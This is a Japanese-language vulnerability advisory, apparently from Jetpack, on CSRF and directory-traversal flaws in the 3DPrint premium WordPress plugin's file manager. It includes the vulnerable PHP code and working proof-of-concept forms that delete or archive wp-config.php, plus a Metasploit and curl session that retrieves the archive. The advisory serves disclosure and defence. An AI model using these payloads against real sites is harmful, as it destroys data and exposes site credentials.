3DPrint プレミアム プラグインで見つかった脆弱性

公開: 2022-12-13

WordPress プラグイン 3DPrint のプレミアム バージョンは、ファイル マネージャー機能が有効になっている場合、クロス サイト リクエスト フォージェリ (CSRF) およびディレクトリ トラバーサル攻撃に対して脆弱です。 これらの脆弱性により、攻撃者はサイト構成ファイルなどの機密ファイルを含む、影響を受けるサイトの任意のファイルやディレクトリを削除したり、アクセスしたりできるようになり、サイト全体の乗っ取りにつながる可能性があります。

最近、私たちの実験的署名によってフラグ付けされた潜在的な誤検知を調べているときに、3DPrint プレミアム プラグインで私たちを困惑させるコードを発見しました。

require_once("../../../../../../wp-load.php");
if ( !current_user_can('administrator') ) exit;
$p3d_settings = get_option( 'p3d_settings' );

global $wpdb;

set_time_limit(0);
ini_set( 'memory_limit', '-1' );

このスニペットは、プラグインのインクルード ディレクトリ内にある Tiny File Manager PHP モジュールで見つかりましたが、元の Tiny File Manager プロジェクトでは見つかりません。 WordPress のロールベースのアクセス制御と統合する意図で注入されているようです。

無関係なモジュールでこのような WordPress コード ファイルをロードすることは、通常、何かが少しずれていることを示しているため、さらに調査することにしました。

注意深い読者は、モジュールへのアクセスが管理者ロールを持つユーザーに制限されていることに気付くでしょうが、nonce チェックはありません。 Tiny File Manager が独自の CSRF 保護を備えていれば問題ありませんが、そうではなかったため、このコードは CSRF 攻撃の影響を受けやすいようです。 (Tiny File Manager は、この問題を認識した後、CSRF 保護を追加しました。バージョン 2.5.0 以降は、より安全に使用できるはずです!)

複雑な要因は、Tiny File Manager が 3DPrint プレミアムのインストール時にパッケージに含まれていないことですが、アクティベート時にオンデマンドでダウンロードされることです。 執筆時点でダウンロードされたバージョンはバージョン 2.4.4 ですが、3DPrint 開発者によって大幅に変更されており、Tiny File Manager リポジトリから直接ではなく、ドメインからダウンロードされます。

行われた変更のほとんどは、プラグインで使用されていない機能を削除するだけでなく、ファイル マネージャーがアクセスできる対象を制限するパスのハードコーディングなどの他のいくつかの変更も行います。 さらに、Tiny File Manager に組み込まれている認証および承認機能は無効になり、上記の WordPress ロール システムとの統合に置き換えられました。

変更されたアクセス制御と 3DPrint プラグインへの Tiny File Manager の組み込みの組み合わせが、外部の攻撃者に悪用される脆弱性をいくつか発見しました。 これには、機密ファイルの削除またはダウンロードが含まれ、サイト全体の乗っ取りが可能になる可能性があります。 これらの脆弱性は、Tiny File Manager 自体のディレクトリ トラバーサルの脆弱性とともに、変更されたアクセス コントロールのノンス チェックの欠如を悪用します。

3DPrint プラグインと Tiny File Manager プロジェクトの両方のベンダーに問い合わせてみました。 これらのうち、Tiny File Manager プロジェクトの開発者のみが私たちに返信し、提出した問題を修正しました。

Jetpack スキャンの一部として、すぐにこれらの攻撃から保護する新しい WAF を確認してください。 現在ベータ版です。 Jetpack スキャンも脆弱なコンポーネントを検出し、それを削除するのに役立ちます。

Tiny File Manager モジュールはオンデマンドでダウンロードおよびインストールされるため、プラグインのバージョンと使用されている Tiny File Manager のバージョンは必ずしも一致しません。 ただし、一度インストールすると、Tiny File Manager モジュールを手動で削除して再度アクティブ化する以外に簡単に更新する方法はないようです。

このため、ファイル マネージャーが有効になっている場合、3DPrint のすべてのバージョンが以下の脆弱性に対して脆弱であると考えられます。

脆弱性

1.任意のファイル/ディレクトリの削除につながるCSRF

  • プラグイン: 3DPrint
  • プラグイン スラッグ: 3dprint
  • プラグイン URI: http://www.wp3dprinting.com/2015/07/29/changelog/
  • 脆弱なバージョン: すべて
  • 修正版:なし
  • CVSSスコア: 8.2 (高、CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L)
  • CVE: CVE-2022-3899

同梱されている Tiny File Manager (バージョン 2.4.4) の一括削除機能は、ディレクトリ トラバーサルに対して適切に保護されておらず、CSRF 保護も欠いています。 これにより、攻撃者は管理者をだまして、サーバー上の複数のファイルやディレクトリを再帰的に削除させることができます。

// Mass deleting
if (isset($_POST['group'], $_POST['delete']) && !FM_READONLY) {
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
//        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) && count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $new_path = $path . '/' . $f;
                if (!fm_rdelete($new_path)) {
                    $errors++;
                }
            }
        }
        if ($errors == 0) {
            fm_set_msg('Selected files and folder deleted');
        } else {
            fm_set_msg('Error while deleting items', 'error');
        }
    } else {
        fm_set_msg('Nothing selected', 'alert');
    }

    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

これは、 groupおよびdelete POST パラメーターを任意の値に渡し、 fileパラメーターで削除するファイル/ディレクトリの配列を渡すことによって悪用される可能性があります。 変数$new_pathFM_ROOT_PATHと渡されたファイル名を単純に連結したもので、再帰的な削除関数fm_rdelete()に渡されます。 fm_rdelete()指定されたパス名の検証を行わないため、このコードはディレクトリ トラバーサル攻撃に対して脆弱になります。

概念実証の例を次に示します。

<form action="https://example.com/wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php" method="POST">
    <input type="hidden" name="group" value="1">
    <input type="hidden" name="delete" value="1">
    <input type="hidden" name="file[1]" value="../2020">
    <input type="hidden" name="file[2]" value="../../../wp-config.php">
    <input type="submit" value="Get rich!">
</form>

すべてのパスは、サーバー上のwp-content/uploads/p3d/ディレクトリからの相対パスです。 ログインしている管理者が金持ちになるためにボタンをクリックすると、2020 年からのアップロードがサイトのwp-config.phpファイルと共に削除されます。

2.任意のダウンロードにつながるCSRF

  • プラグイン: 3DPrint
  • プラグイン スラッグ: 3dprint
  • プラグイン URI: http://www.wp3dprinting.com/2015/07/29/changelog/
  • 脆弱なバージョン: すべて
  • 修正版:なし
  • CVSSスコア: 7.4 (高、CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N)
  • CVE: CVE-2022-4023

付属のバージョンの Tiny File Manager (バージョン 2.4.4) に含まれている、選択したファイルの zip または tar アーカイブをダウンロードする機能は、ディレクトリ トラバーサルから保護されておらず、CSRF 保護がありません。 これにより、攻撃者は管理者をだまして、構成ファイルやその他の機密コンテンツを含むサイトの任意のファイルとディレクトリで zip または tar アーカイブを作成することができます。

アーカイブは、通常の 3DPring アップロード ディレクトリwp-content/uploads/p3d/に配置されます。 ファイル名は、攻撃者によって部分的にしか制御できませんが、十分に予測可能であるため、ブルート フォース攻撃は比較的容易です。 偽造されたリクエストが送信された時刻がわかっている場合は、知識に基づいて推測することも簡単です。

// Pack files
if (isset($_POST['group']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) {
    $path = FM_ROOT_PATH;
    $ext = 'zip';
    if (FM_PATH != '') {
//        $path .= '/' . FM_PATH;
    }

    //set pack type
    $ext = isset($_POST['tar']) ? 'tar' : 'zip';
    $files = $_POST['file'];
    if (!empty($files)) {
        chdir($path);

        if (count($files) == 1) {
            $one_file = reset($files);
            $one_file = basename($one_file);
            $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
        } else {
            $zipname = 'archive_' . date('ymd_His') . '.'.$ext;
        }

        if($ext == 'zip') {
            $zipper = new FM_Zipper();
            $res = $zipper->create($zipname, $files);
        } elseif ($ext == 'tar') {
            $tar = new FM_Zipper_Tar();
            $res = $tar->create($zipname, $files);
        }

groupと任意の値に設定されたzipまたはtar変数を使用して投稿要求を送信すると、 fileパラメーターで指定されたファイルを含むアーカイブが作成されます。 現在の日付と時刻がアーカイブのファイル名に追加されます。これは、アーカイブされたファイルと同じベース名を持つか、複数のファイルが一緒にアーカイブされる場合は「アーカイブ」になります。 アーカイブは 3DPrint アップロード ディレクトリに作成されますが、ファイルのパス名はサニタイズされず、このディレクトリ外のパスが含まれている可能性があるため、ディレクトリ トラバーサル攻撃に対して脆弱になります。

この脆弱性を悪用するために、脆弱なサイトへの悪意のあるペイロードを含む自己送信フォームとして機能する Metasploit 用の単純なペイロード モジュールを作成しました。 送信された概念実証ペイロードは次のとおりです。

<!DOCTYPE html>
<html>
  <body>
    <form action="https://3dprint-test.ddev.site/wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php" method="POST">
      <input type="hidden" name="group" value="1">
      <input type="hidden" name="zip" value="1">
      <input type="hidden" name="file[1]" value="../2022">
      <input type="hidden" name="file[2]" value="../../../wp-config.php">
    </form>
    <script>document.forms[0].submit()</script>
  </body>
</html>

Metasploit モジュールはフォームが送信されたときのタイムスタンプを記録するため、作成されたアーカイブの正しいファイル名を簡単に推測できました。

% msfconsole                                                                                
                                                  
msf6 > use payload/html/html_reverse_http
msf6 payload(html/html_reverse_http) > set LHOST localhost
LHOST => localhost
msf6 payload(html/html_reverse_http) > set LURI /
LURI => /
msf6 payload(html/html_reverse_http) > set PAYLOADFILE ../poc/poc-csrf-archive.html
PAYLOADFILE => ../poc/poc-csrf-archive.html
msf6 payload(html/html_reverse_http) > to_handler
[*] Payload Handler Started as Job 0
[*] Started HTTP reverse handler on http://[::1]:8080/
[*] http://localhost:8080/ handling request from ::1; (UUID: rhexpfwi) Request processed at 2022-12-10T11:06:49+01:00

msf6 payload(html/html_reverse_http) > exit

% curl -I 'https://3dprint-test.ddev.site/wp-content/uploads/p3d/archive_221210_100649.zip'
HTTP/2 200 
server: nginx/1.20.1
date: Sat, 10 Dec 2022 10:07:35 GMT
content-type: application/zip
content-length: 87225
last-modified: Sat, 10 Dec 2022 10:06:49 GMT
etag: "63945a39-154b9"
accept-ranges: bytes


% curl -O 'https://3dprint-test.ddev.site/wp-content/uploads/p3d/archive_221210_100649.zip'
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 87225  100 87225    0     0  2322k      0 --:--:-- --:--:-- --:--:-- 2366k

% unzip -v archive_221210_100649.zip 
Archive:  archive_221210_100649.zip
 Length   Method    Size  Cmpr    Date    Time   CRC-32   Name
--------  ------  ------- ---- ---------- ----- --------  ----
       0  Stored        0   0% 2022-12-10 10:06 00000000  ../2022/
       0  Stored        0   0% 2022-12-10 10:06 00000000  ../2022/12/
   85888  Defl:X    85655   0% 2022-12-10 10:05 724f1f67  ../2022/12/funny-cat.jpg
    1955  Defl:X     1114  43% 2022-11-01 23:25 96f2088a  ../../../wp-config.php
--------          -------  ---                            -------
   87843            86769   1%                            4 files

リクエストのタイムスタンプから、生成されたアーカイブのファイル名を推測する方法に注目してください。 この場合、サーバー コンテナはローカル タイムゾーンより 1 つ遅れて実行されています。

推奨事項

インストールされているファイル マネージャーのバージョンは、インストールされているプラ​​グインのバージョンとは無関係であるため、固定バージョンのプラグインを推奨することはできません。

また、後日新しいバージョンがリリースされた場合に、ファイル マネージャー モジュールを簡単に更新する方法も見つかりませんでした。

このため、ファイル マネージャー コンポーネントが有効になっている場合、3DPrint プレミアム プラグインのすべてのバージョンが脆弱であると見なされます。

ファイル マネージャー モジュールが無効になっていること、およびファイルがサイトから削除されていることを確認することをお勧めします。

最も簡単な方法はwp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.phpファイルが存在する場合は削除することです。

結論

3DPrint プレミアム プラグインのすべてのバージョンは、サイトでファイル マネージャー モジュールが有効になっている場合、CSRF およびディレクトリ トラバーサル攻撃に対して脆弱です。 これは、WordPress.org プラグイン リポジトリからダウンロードしたプラグインの無料バージョンには影響しません。

Jetpack では、お客様の Web サイトがこれらの種類の脆弱性から確実に保護されるように懸命に取り組んでいます。 悪意のあるファイルのスキャンとバックアップを含むサイトのセキュリティ計画を立てることをお勧めします。 Jetpack セキュリティ バンドルは、サイトと訪問者の安全を確保するための優れた WordPress セキュリティ オプションの 1 つです。 この製品には、リアルタイムのマルウェア スキャン、サイトのバックアップ、Akismet によるコメントとフォームのスパム保護、ブルート フォース攻撃保護などが含まれます。

クレジット

Harald Eilertsen による調査。フィードバックと修正は、Benedict Singer、Rob Pugh、Jen Swisher、および Jetpack スキャン チームによって提供されます。

タイムライン

  • 2022-09-08: 発見を知り、調査を開始
  • 2022-10-25: ベンダーに初めて連絡
  • 2022-11-01: ベンダーは別のチャネルを通じて 2 回目の連絡を取りました
  • 2022-11-08: 一括削除の脆弱性が公開されました (CVE-2022-3899)
  • 2022-11-15: Tiny File Manager の開発者に、CSRF 保護の欠如とディレクトリ トラバーサルの脆弱性について連絡しました。
  • 2022-11-19: Tiny File Manager 2.5.0 がリリースされ、CSRF の問題は修正されましたが、ディレクトリ トラバーサルの問題は修正されませんでした。
  • 2022-12-13: 一般公開